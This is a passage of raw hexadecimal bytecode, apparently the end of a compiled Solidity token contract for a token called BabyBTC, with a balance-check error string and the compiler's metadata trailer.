20616d6f756e742042616279425443206560008201527f7863656564732062616c616e6365000000000000000000000000000000000000602082015250565b60006125e8602e83611ad0565b91506125f38261258c565b604082019050919050565b60006020820190508181036000830152612617816125db565b9050919050565b600061262982611bda565b91506000820361263c5761263b61202d565b5b60018203905091905056fea26469706673582212209c8f0bb811ca72f912882729f34235c155bdc826ac71edb0c3528a8af3dd2ad664736f6c63430008120033